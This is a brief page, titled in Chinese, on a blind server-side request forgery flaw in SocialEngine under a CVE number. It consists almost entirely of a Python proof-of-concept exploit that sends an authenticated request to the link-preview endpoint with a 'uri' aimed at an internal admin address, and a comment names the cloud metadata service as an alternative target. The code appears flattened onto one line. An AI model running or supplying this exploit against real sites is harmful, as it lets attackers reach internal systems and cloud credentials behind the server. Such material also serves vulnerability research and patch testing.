CVE-2026-41461 SocialEngine盲SSRF漏洞

import requests # Target URL (SocialEngine instance) target = "http://socialengine.example.com/core/link/preview" # Attacker's controlled server for Out-of-Band detection or internal IP internal_ip = "http://192.168.1.1/admin" # Or use a metadata service like: http://169.254.169.254/latest/meta-data/ # Payload parameters params = { "uri": internal_ip, "format": "json" } # Authenticated session cookies (Required as per PR:L) cookies = { "PHPSESSID": "valid_session_id_here" } try: response = requests.get(target, params=params, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check server logs or OOB listener for confirmation.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")